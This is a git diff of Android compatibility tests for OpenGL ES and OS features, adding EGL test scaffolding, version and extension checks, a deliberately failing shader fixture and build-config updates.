+import static android.opengl.EGL14.eglCreatePbufferSurface;
+import static android.opengl.EGL14.eglDestroySurface;
+import static android.opengl.EGL14.eglGetError;
+import static android.opengl.EGL14.eglMakeCurrent;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotSame;
+
+/**
+ * Test base for OpenGL ES 2+ tests. This test class initializes and
+ * cleanup EGL before and after each test. Subclasses MUST NOT use
+ * the AndroidJUnit4 runner but JUnit's BlockJUnit4ClassRunner to
+ * guarantee that all methods are run on the same thread (this would
+ * otherwise cause issues with EGL/GL's thread management).
+ *
+ * This implementation relies on EGL14. Do not use this class to
+ * test EGL10.
+ */
+public class GlTestBase {
+    private static EGLDisplay sEglDisplay;
+
+    private EGLContext mEglContext;
+    private EGLSurface mEglSurface;
+
+    @Rule
+    public Timeout mTimeout = new Timeout(2000);
+
+    @BeforeClass
+    public static void initEgl() {
+        sEglDisplay = Egl14Utils.createEglDisplay();
+        assertNotSame(EGL_NO_DISPLAY, sEglDisplay);
+    }
+
+    @AfterClass
+    public static void terminateEgl() {
+        Egl14Utils.releaseAndTerminate(sEglDisplay);
+    }
+
+    @Before
+    public void createContext() {
+        // Requesting OpenGL ES 2.0 context will return an ES 3.0 context on capable devices
+        EGLConfig eglConfig = Egl14Utils.getEglConfig(sEglDisplay, 2);
+        assertEquals(EGL_SUCCESS, eglGetError());
+
+        mEglContext = Egl14Utils.createEglContext(sEglDisplay, eglConfig, 2);
+        assertNotSame(EGL_NO_CONTEXT, eglConfig);
+
+        mEglSurface = eglCreatePbufferSurface(sEglDisplay, eglConfig, new int[] {
+                EGL_WIDTH, 1,
+                EGL_HEIGHT, 1,
+                EGL_NONE
+        }, 0);
+        assertNotSame(EGL_NO_SURFACE, mEglSurface);
+
+        eglMakeCurrent(sEglDisplay, mEglSurface, mEglSurface, mEglContext);
+        assertEquals(EGL_SUCCESS, eglGetError());
+    }
+
+    @After
+    public void cleanupContext() {
+        eglMakeCurrent(sEglDisplay, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT);
+        eglDestroySurface(sEglDisplay, mEglSurface);
+        Egl14Utils.destroyEglContext(sEglDisplay, mEglContext);
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGLES20ActivityOne.java b/tests/tests/opengl/src/android/opengl/cts/OpenGLES20ActivityOne.java
index 33f097c..0e11165 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGLES20ActivityOne.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGLES20ActivityOne.java
@@ -61,6 +61,10 @@
         return ((RendererBase)mRenderer).mError;
     }
 
+    public String glGetInfoLog() {
+        return ((RendererBase)mRenderer).mInfoLog;
+    }
+
     public boolean waitForFrameDrawn() {
         boolean result = false;
         try {
diff --git a/tests/tests/graphics/src/android/opengl/cts/OpenGlEsVersionCtsActivity.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionCtsActivity.java
similarity index 100%
rename from tests/tests/graphics/src/android/opengl/cts/OpenGlEsVersionCtsActivity.java
rename to tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionCtsActivity.java
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
new file mode 100644
index 0000000..c290dac
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
@@ -0,0 +1,338 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ConfigurationInfo;
+import android.content.pm.FeatureInfo;
+import android.content.pm.PackageManager;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import javax.microedition.khronos.egl.EGL10;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.egl.EGLContext;
+import javax.microedition.khronos.egl.EGLDisplay;
+
+/**
+ * Test for checking whether the ro.opengles.version property is set to the correct value.
+ */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class OpenGlEsVersionTest {
+
+    private static final String TAG = OpenGlEsVersionTest.class.getSimpleName();
+
+    // TODO: switch to android.opengl.EGL14/EGLExt and use the constants from there
+    private static final int EGL_OPENGL_ES_BIT = 0x0001;
+    private static final int EGL_OPENGL_ES2_BIT = 0x0004;
+    private static final int EGL_OPENGL_ES3_BIT_KHR = 0x0040;
+
+    private OpenGlEsVersionCtsActivity mActivity;
+
+    @Rule
+    public ActivityTestRule<OpenGlEsVersionCtsActivity> mActivityRule =
+            new ActivityTestRule<>(OpenGlEsVersionCtsActivity.class);
+
+    @Rule
+    public ActivityTestRule<OpenGlEsVersionCtsActivity> mActivityRelaunchRule =
+            new ActivityTestRule<>(OpenGlEsVersionCtsActivity.class, false, false);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    public void testOpenGlEsVersion() throws InterruptedException {
+        int detectedMajorVersion = getDetectedMajorVersion();
+        int reportedVersion = getVersionFromActivityManager(mActivity);
+
+        assertEquals("Reported OpenGL ES version from ActivityManager differs from PackageManager",
+                reportedVersion, getVersionFromPackageManager(mActivity));
+
+        verifyGlVersionString(1, 1);
+        if (detectedMajorVersion == 2) {
+            restartActivityWithClientVersion(2);
+            verifyGlVersionString(2, getMinorVersion(reportedVersion));
+        } else if (detectedMajorVersion == 3) {
+            restartActivityWithClientVersion(3);
+            verifyGlVersionString(3, getMinorVersion(reportedVersion));
+        }
+    }
+
+    @Test
+    public void testRequiredExtensions() throws InterruptedException {
+        int reportedVersion = getVersionFromActivityManager(mActivity);
+        // We only have required extensions on ES3.1+
+        if (getMajorVersion(reportedVersion) != 3 || getMinorVersion(reportedVersion) < 1)
+            return;
+
+        restartActivityWithClientVersion(3);
+
+        String extensions = mActivity.getExtensionsString();
+        final String requiredList[] = {
+            "EXT_texture_sRGB_decode",
+            "KHR_blend_equation_advanced",
+            "KHR_debug",
+            "OES_shader_image_atomic",
+            "OES_texture_stencil8",
+            "OES_texture_storage_multisample_2d_array"
+        };
+
+        for (int i = 0; i < requiredList.length; ++i) {
+            assertTrue("OpenGL ES version 3.1+ is missing extension " + requiredList[i],
+                    hasExtension(extensions, requiredList[i]));
+        }
+    }
+
+    @Test
+    public void testExtensionPack() throws InterruptedException {
+        // Requirements:
+        // 1. If the device claims support for the system feature, the extension must be available.
+        // 2. If the extension is available, the device must claim support for it.
+        // 3. If the extension is available, it must be correct:
+        //    - ES 3.1+ must be supported
+        //    - All included extensions must be available
+
+        int reportedVersion = getVersionFromActivityManager(mActivity);
+        boolean hasAepFeature = mActivity.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_OPENGLES_EXTENSION_PACK);
+
+        if (getMajorVersion(reportedVersion) != 3 || getMinorVersion(reportedVersion) < 1) {
+            assertFalse("FEATURE_OPENGLES_EXTENSION_PACK is available without OpenGL ES 3.1+",
+                    hasAepFeature);
+            return;
+        }
+
+        restartActivityWithClientVersion(3);
+
+        String extensions = mActivity.getExtensionsString();
+        boolean hasAepExtension = hasExtension(extensions, "GL_ANDROID_extension_pack_es31a");
+        assertEquals("System feature FEATURE_OPENGLES_EXTENSION_PACK is "
+            + (hasAepFeature ? "" : "not ") + "available, but extension GL_ANDROID_extension_pack_es31a is "
+            + (hasAepExtension ? "" : "not ") + "in the OpenGL ES extension list.",
+            hasAepFeature, hasAepExtension);
+    }
+
+    @Test
+    public void testOpenGlEsVersionForVrHighPerformance() throws InterruptedException {
+        if (!supportsVrHighPerformance())
+            return;
+        restartActivityWithClientVersion(3);
+
+        int reportedVersion = getVersionFromActivityManager(mActivity);
+        int major = getMajorVersion(reportedVersion);
+        int minor = getMinorVersion(reportedVersion);
+
+        assertTrue("OpenGL ES version 3.2 or higher is required for VR high-performance devices " +
+            " but this device supports only version " + major + "." + minor,
+            (major == 3 && minor >= 2) || major > 3);
+    }
+
+    @Test
+    public void testRequiredExtensionsForVrHighPerformance() throws InterruptedException {
+        if (!supportsVrHighPerformance())
+            return;
+        restartActivityWithClientVersion(3);
+
+        String extensions = mActivity.getExtensionsString();
+        final String requiredList[] = {
+            "EXT_protected_textures",
+            "EXT_multisampled_render_to_texture",
+            "OVR_multiview",
+            "OVR_multiview_multisampled_render_to_texture",
+            "OVR_multiview2",
+        };
+
+        for (int i = 0; i < requiredList.length; ++i) {
+            assertTrue("Required extension for VR high-performance is missing: " + requiredList[i],
+                    hasExtension(extensions, requiredList[i]));
+        }
+
+        EGL10 egl = (EGL10) EGLContext.getEGL();
+        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+        extensions = egl.eglQueryString(display, EGL10.EGL_EXTENSIONS);
+        final String requiredEglList[] = {
+            "EGL_ANDROID_get_native_client_buffer",
+            "EGL_ANDROID_front_buffer_auto_refresh",
+            "EGL_EXT_protected_content",
+            "EGL_KHR_mutable_render_buffer",
+            "EGL_KHR_wait_sync",
+        };
+
+        for (int i = 0; i < requiredList.length; ++i) {
+            assertTrue("Required EGL extension for VR high-performance is missing: " +
+                requiredEglList[i], hasExtension(extensions, requiredEglList[i]));
+        }
+    }
+
+    private static boolean hasExtension(String extensions, String name) {
+        return OpenGlEsVersionCtsActivity.hasExtension(extensions, name);
+    }
+
+    /** @return OpenGL ES major version 1, 2, or 3 or some non-positive number for error */
+    private static int getDetectedMajorVersion() {
+        /*
+         * Get all the device configurations and check the EGL_RENDERABLE_TYPE attribute
+         * to determine the highest ES version supported by any config. The
+         * EGL_KHR_create_context extension is required to check for ES3 support; if the
+         * extension is not present this test will fail to detect ES3 support. This
+         * effectively makes the extension mandatory for ES3-capable devices.
+         */
+
+        EGL10 egl = (EGL10) EGLContext.getEGL();
+        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+        int[] numConfigs = new int[1];
+
+        if (egl.eglInitialize(display, null)) {
+            try {
+                boolean checkES3 = hasExtension(egl.eglQueryString(display, EGL10.EGL_EXTENSIONS),
+                        "EGL_KHR_create_context");
+                if (egl.eglGetConfigs(display, null, 0, numConfigs)) {
+                    EGLConfig[] configs = new EGLConfig[numConfigs[0]];
+                    if (egl.eglGetConfigs(display, configs, numConfigs[0], numConfigs)) {
+                        int highestEsVersion = 0;
+                        int[] value = new int[1];
+                        for (int i = 0; i < numConfigs[0]; i++) {
+                            if (egl.eglGetConfigAttrib(display, configs[i],
+                                    EGL10.EGL_RENDERABLE_TYPE, value)) {
+                                if (checkES3 && ((value[0] & EGL_OPENGL_ES3_BIT_KHR) ==
+                                        EGL_OPENGL_ES3_BIT_KHR)) {
+                                    if (highestEsVersion < 3) highestEsVersion = 3;
+                                } else if ((value[0] & EGL_OPENGL_ES2_BIT) == EGL_OPENGL_ES2_BIT) {
+                                    if (highestEsVersion < 2) highestEsVersion = 2;
+                                } else if ((value[0] & EGL_OPENGL_ES_BIT) == EGL_OPENGL_ES_BIT) {
+                                    if (highestEsVersion < 1) highestEsVersion = 1;
+                                }
+                            } else {
+                                Log.w(TAG, "Getting config attribute with "
+                                        + "EGL10#eglGetConfigAttrib failed "
+                                        + "(" + i + "/" + numConfigs[0] + "): "
+                                        + egl.eglGetError());
+                            }
+                        }
+                        return highestEsVersion;
+                    } else {
+                        Log.e(TAG, "Getting configs with EGL10#eglGetConfigs failed: "
+                                + egl.eglGetError());
+                        return -1;
+                    }
+                } else {
+                    Log.e(TAG, "Getting number of configs with EGL10#eglGetConfigs failed: "
+                            + egl.eglGetError());
+                    return -2;
+                }
+              } finally {
+                  egl.eglTerminate(display);
+              }
+        } else {
+            Log.e(TAG, "Couldn't initialize EGL.");
+            return -3;
+        }
+    }
+
+    private static int getVersionFromActivityManager(Context context) {
+        ActivityManager activityManager =
+            (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+        ConfigurationInfo configInfo = activityManager.getDeviceConfigurationInfo();
+        if (configInfo.reqGlEsVersion != ConfigurationInfo.GL_ES_VERSION_UNDEFINED) {
+            return configInfo.reqGlEsVersion;
+        } else {
+            return 1 << 16; // Lack of property means OpenGL ES version 1
+        }
+    }
+
+    private static int getVersionFromPackageManager(Context context) {
+        PackageManager packageManager = context.getPackageManager();
+        FeatureInfo[] featureInfos = packageManager.getSystemAvailableFeatures();
+        if (featureInfos != null && featureInfos.length > 0) {
+            for (FeatureInfo featureInfo : featureInfos) {
+                // Null feature name means this feature is the open gl es version feature.
+                if (featureInfo.name == null) {
+                    if (featureInfo.reqGlEsVersion != FeatureInfo.GL_ES_VERSION_UNDEFINED) {
+                        return featureInfo.reqGlEsVersion;
+                    } else {
+                        return 1 << 16; // Lack of property means OpenGL ES version 1
+                    }
+                }
+            }
+        }
+        return 1;
+    }
+
+    /** @see FeatureInfo#getGlEsVersion() */
+    private static int getMajorVersion(int glEsVersion) {
+        return ((glEsVersion & 0xffff0000) >> 16);
+    }
+
+    /** @see FeatureInfo#getGlEsVersion() */
+    private static int getMinorVersion(int glEsVersion) {
+        return glEsVersion & 0xffff;
+    }
+
+    /**
+     * Check that the version string has the form "OpenGL ES(-CM)? (\d+)\.(\d+)", where the two
+     * numbers match the major and minor parameters.
+     */
+    private void verifyGlVersionString(int major, int minor) throws InterruptedException {
+        Matcher matcher = Pattern.compile("OpenGL ES(?:-CM)? (\\d+)\\.(\\d+).*")
+                                 .matcher(mActivity.getVersionString());
+        assertTrue("OpenGL ES version string is not of the required form "
+            + "'OpenGL ES(-CM)? (\\d+)\\.(\\d+).*'",
+            matcher.matches());
+        int stringMajor = Integer.parseInt(matcher.group(1));
+        int stringMinor = Integer.parseInt(matcher.group(2));
+        assertEquals("GL_VERSION string doesn't match ActivityManager major version (check ro.opengles.version property)",
+            major, stringMajor);
+        assertEquals("GL_VERSION string doesn't match ActivityManager minor version (check ro.opengles.version property)",
+            minor, stringMinor);
+    }
+
+    /** Restart {@link GLSurfaceViewCtsActivity} with a specific client version. */
+    private void restartActivityWithClientVersion(int version) {
+        mActivity.finish();
+
+        Intent intent = OpenGlEsVersionCtsActivity.createIntent(version);
+        mActivity = mActivityRelaunchRule.launchActivity(intent);
+    }
+
+    /**
+     * Return whether the system supports FEATURE_VR_MODE and
+     * FEATURE_VR_MODE_HIGH_PERFORMANCE. This is used to skip some tests.
+     */
+    private boolean supportsVrHighPerformance() {
+        PackageManager pm = mActivity.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/ParamsTest.java b/tests/tests/opengl/src/android/opengl/cts/ParamsTest.java
new file mode 100644
index 0000000..96fd81e
--- /dev/null
+++ b/tests/tests/opengl/src/android/opengl/cts/ParamsTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.opengl.cts;
+
+import android.support.test.filters.SmallTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.BlockJUnit4ClassRunner;
+
+import java.nio.IntBuffer;
+
+import static android.opengl.GLES20.glDeleteBuffers;
+import static android.opengl.GLES30.glGenBuffers;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Tests for parameters validation.
+ */
+@SmallTest
+@RunWith(BlockJUnit4ClassRunner.class) // DO NOT USE AndroidJUnit4, it messes up threading
+public class ParamsTest extends GlTestBase {
+    @Test(expected = IllegalArgumentException.class)
+    public void testNullBufferParam() {
+        glGenBuffers(1, null);
+    }
+
+    @Test
+    public void testBufferParam() {
+        IntBuffer buffer = IntBuffer.allocate(1);
+        glGenBuffers(1, buffer);
+
+        assertTrue(buffer.get() > 0);
+
+        buffer.rewind();
+        glDeleteBuffers(1, buffer);
+    }
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/RendererBase.java b/tests/tests/opengl/src/android/opengl/cts/RendererBase.java
index 994c1c6..a5a281b 100644
--- a/tests/tests/opengl/src/android/opengl/cts/RendererBase.java
+++ b/tests/tests/opengl/src/android/opengl/cts/RendererBase.java
@@ -34,6 +34,7 @@
 
     int[] mShaderCount = null;
     int mError;
+    String mInfoLog = null;
 
     // child may need to manipulate them directly
     protected CountDownLatch mLatch;
@@ -52,6 +53,7 @@
         int shader = GLES20.glCreateShader(type);
         GLES20.glShaderSource(shader, shaderCode);
         GLES20.glCompileShader(shader);
+        mInfoLog = GLES20.glGetShaderInfoLog(shader);
         return shader;
     }
 
diff --git a/tests/tests/opengl/src/android/opengl/cts/RendererElevenShaderTest.java b/tests/tests/opengl/src/android/opengl/cts/RendererElevenShaderTest.java
index 35df7b5..cc047fa 100644
--- a/tests/tests/opengl/src/android/opengl/cts/RendererElevenShaderTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/RendererElevenShaderTest.java
@@ -22,8 +22,6 @@
 import android.opengl.GLES20;
 
 public class RendererElevenShaderTest extends RendererBase {
-    private String fragmentShaderCode = Vertex.successfulcompile_vertex;
-
     public RendererElevenShaderTest(CountDownLatch latch) {
         super(latch);
     }
@@ -31,10 +29,10 @@
     @Override
     public void onSurfaceCreated(GL10 gl, EGLConfig config) {
         GLES20.glClearColor(0.5f, 0.5f, 0.5f, 1.0f);
-        int fragmentShader = loadShader(GLES20.GL_FRAGMENT_SHADER, fragmentShaderCode);
+        int vertexShader = loadShader(GLES20.GL_VERTEX_SHADER, Vertex.successfulcompile_vertex);
         mProgram =  GLES20.glCreateProgram();
 
-        GLES20.glAttachShader(mProgram, fragmentShader);
+        GLES20.glAttachShader(mProgram, vertexShader);
         GLES20.glLinkProgram(mProgram);
 
         mError = GLES20.glGetError();
diff --git a/tests/tests/opengl/src/android/opengl/cts/RendererTwelveShaderTest.java b/tests/tests/opengl/src/android/opengl/cts/RendererTwelveShaderTest.java
index a3dab8e..3e18221 100644
--- a/tests/tests/opengl/src/android/opengl/cts/RendererTwelveShaderTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/RendererTwelveShaderTest.java
@@ -22,7 +22,7 @@
 import android.opengl.GLES20;
 
 public class RendererTwelveShaderTest extends RendererBase {
-    private String fragmentShaderCode = Shaders.successfulcompile_frag;
+    private String fragmentShaderCode = Shaders.errorcompile_frag;
 
     public RendererTwelveShaderTest(CountDownLatch latch) {
         super(latch);
@@ -32,8 +32,6 @@
     public void onSurfaceCreated(GL10 gl, EGLConfig config) {
         GLES20.glClearColor(0.5f, 0.5f, 0.5f, 1.0f);
         int fragmentShader = loadShader(GLES20.GL_FRAGMENT_SHADER, fragmentShaderCode);
-        //invalid value
-        mProgram =  0;
 
         GLES20.glAttachShader(mProgram, fragmentShader);
         GLES20.glLinkProgram(mProgram);
diff --git a/tests/tests/opengl/src/android/opengl/cts/Shaders.java b/tests/tests/opengl/src/android/opengl/cts/Shaders.java
index e8025fc..7e0113e 100644
--- a/tests/tests/opengl/src/android/opengl/cts/Shaders.java
+++ b/tests/tests/opengl/src/android/opengl/cts/Shaders.java
@@ -54,4 +54,40 @@
         + "    gl_FragColor = vec4 (ct, 1.0); \n"
         + "} \n";
 
+    public static String errorcompile_frag =
+        "#ifdef GL_ES \n"
+        + "precision mediump float; \n"
+        + "#endif \n"
+        + "uniform float   mortarThickness; \n"
+        + "uniform vec3    brickColor; \n"
+        + "uniform vec3    mortarColor; \n"
+
+        + "uniform float   brickMortarWidth; \n"
+        + "uniform float   brickMortarHeight; \n"
+        + "uniform float   mhf; \n"
+
+        + "varying vec3  Position; \n"
+        + "varying float lightIntensity; \n"
+        + "\n"
+        + "void main (void){ \n"
+        + "    vec3    ct; \n"
+        + "    float   ss, tt, w, h; \n"
+        + ""
+        + "    vec3 pos = Position; \n"
+        + ""
+        + "    ss = pos.x / brickMortarWidth; \n"
+        + "    tt = pos.z / brickMortarHeight; \n"
+        + "    if (fract (tt * 0.5) > 0.5) \n"
+        + "        ss += 0.5; \n"
+
+        + "    ss = fract (ss); \n"
+        + "    tt = fract (tt); \n"
+
+        + "    w = step (mwf, ss) - step (1.0 - mwf, ss); \n"
+        + "    h = step (mhf, tt) - step (1.0 - mhf, tt); \n"
+
+        + "    ct = clamp(mix (mortarColor, brickColor, w * h) * lightIntensity, 0.0, 1.0); \n"
+
+        + "    gl_FragColor = vec4 (ct, 1); \n"
+        + "} \n";
 }
diff --git a/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java b/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
index 895a02b..1faef87 100644
--- a/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
@@ -190,7 +190,9 @@
         // zero out the refcount.
         //
         // Before we can terminate we need to be sure that the display has been initialized
-        // at least once.
+        // at least once. Also includes the 1s sleep to work-around a suspected race condition
+        // where it seems that some earlier tests may not have completed clean-up of all activities.
+        Thread.sleep(1000);
         eglSetup(2, 1, 1);
         for (int i = 0; i < 100; i++) {
             EGL14.eglTerminate(mEGLDisplay);
diff --git a/tests/tests/openglperf/Android.mk b/tests/tests/openglperf/Android.mk
index eea3b86..46e316a 100644
--- a/tests/tests/openglperf/Android.mk
+++ b/tests/tests/openglperf/Android.mk
@@ -24,7 +24,7 @@
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsopenglperf_jni libnativehelper_compat_libc++
 
diff --git a/tests/tests/openglperf/AndroidTest.xml b/tests/tests/openglperf/AndroidTest.xml
index 630bd05..929e155 100644
--- a/tests/tests/openglperf/AndroidTest.xml
+++ b/tests/tests/openglperf/AndroidTest.xml
@@ -13,11 +13,12 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS OpenGL Performance test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="graphics" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOpenGlPerfTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.openglperf.cts" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java b/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
index b286e46..1d79961 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
@@ -16,8 +16,9 @@
 
 package android.openglperf.cts;
 
+import com.android.compatibility.common.util.WatchDog;
+
 import android.content.Context;
-import android.cts.util.WatchDog;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.opengl.GLES20;
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/PlanetsSurfaceView.java b/tests/tests/openglperf/src/android/openglperf/cts/PlanetsSurfaceView.java
index afe664f..16c8a32 100755
--- a/tests/tests/openglperf/src/android/openglperf/cts/PlanetsSurfaceView.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/PlanetsSurfaceView.java
@@ -16,8 +16,9 @@
 
 package android.openglperf.cts;
 
+import com.android.compatibility.common.util.WatchDog;
+
 import android.content.Context;
-import android.cts.util.WatchDog;
 
 class PlanetsSurfaceView extends GLSurfaceViewCustom {
     private final long RENDERING_TIMEOUT = 1900; // in msec, close to 2 secs
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 0ee48ff..c99e236 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -25,7 +25,12 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil ctstestrunner guava junit legacy-android-test
+    android-support-test \
+    compatibility-device-util \
+    ctstestrunner \
+    guava \
+    junit \
+    legacy-android-test
 
 LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libctsos_jni libnativehelper_compat_libc++
 
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index bdb5230..846251f 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -72,6 +72,10 @@
             android:name="android.os.cts.ParcelFileDescriptorPeer$Blue"
             android:process=":blue"
             android:exported="true" />
+        <service
+            android:name="android.os.cts.CrossProcessExceptionService"
+            android:process=":green"
+            android:exported="true" />
 
         <service android:name="android.os.cts.LocalService">
             <intent-filter>
diff --git a/tests/tests/os/AndroidTest.xml b/tests/tests/os/AndroidTest.xml
index fd446c2..27f235a 100644
--- a/tests/tests/os/AndroidTest.xml
+++ b/tests/tests/os/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Configuration for OS Tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOsTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index 78c06e4..ae9a76b 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1,2 +1 @@
-O
-P
+8.0.0
diff --git a/tests/tests/os/jni/Android.mk b/tests/tests/os/jni/Android.mk
index 0457f31..3d79d31 100644
--- a/tests/tests/os/jni/Android.mk
+++ b/tests/tests/os/jni/Android.mk
@@ -35,9 +35,7 @@
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl
 LOCAL_CXX_STL := none
 
-LOCAL_SRC_FILES += android_os_cts_CpuFeatures.cpp
-LOCAL_C_INCLUDES += ndk/sources/cpufeatures
-LOCAL_STATIC_LIBRARIES := cpufeatures libc++_static libminijail
+LOCAL_STATIC_LIBRARIES := libc++_static libminijail
 
 # Select the architectures on which seccomp-bpf are supported. This is used to
 # include extra test files that will not compile on architectures where it is
diff --git a/tests/tests/os/jni/CtsOsJniOnLoad.cpp b/tests/tests/os/jni/CtsOsJniOnLoad.cpp
index cac750f..3e32e7a 100644
--- a/tests/tests/os/jni/CtsOsJniOnLoad.cpp
+++ b/tests/tests/os/jni/CtsOsJniOnLoad.cpp
@@ -38,10 +38,6 @@
         return JNI_ERR;
     }
 
-    if (register_android_os_cts_CpuFeatures(env)) {
-        return JNI_ERR;
-    }
-
     if (register_android_os_cts_CpuInstructions(env)) {
         return JNI_ERR;
     }
diff --git a/tests/tests/os/jni/android_os_cts_CpuFeatures.cpp b/tests/tests/os/jni/android_os_cts_CpuFeatures.cpp
deleted file mode 100644
index 6b5950c..0000000
--- a/tests/tests/os/jni/android_os_cts_CpuFeatures.cpp
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-#include <cpu-features.h>
-#include <jni.h>
-#include <string.h>
-#include <sys/auxv.h>
-
-jboolean android_os_cts_CpuFeatures_isArmCpu(JNIEnv* env, jobject thiz)
-{
-    AndroidCpuFamily cpuFamily = android_getCpuFamily();
-    return cpuFamily == ANDROID_CPU_FAMILY_ARM;
-}
-
-jboolean android_os_cts_CpuFeatures_isArm7Compatible(JNIEnv* env, jobject thiz)
-{
-    uint64_t cpuFeatures = android_getCpuFeatures();
-    return (cpuFeatures & ANDROID_CPU_ARM_FEATURE_ARMv7) == ANDROID_CPU_ARM_FEATURE_ARMv7;
-}
-
-jboolean android_os_cts_CpuFeatures_isMipsCpu(JNIEnv* env, jobject thiz)
-{
-    AndroidCpuFamily cpuFamily = android_getCpuFamily();
-    return cpuFamily == ANDROID_CPU_FAMILY_MIPS;
-}
-
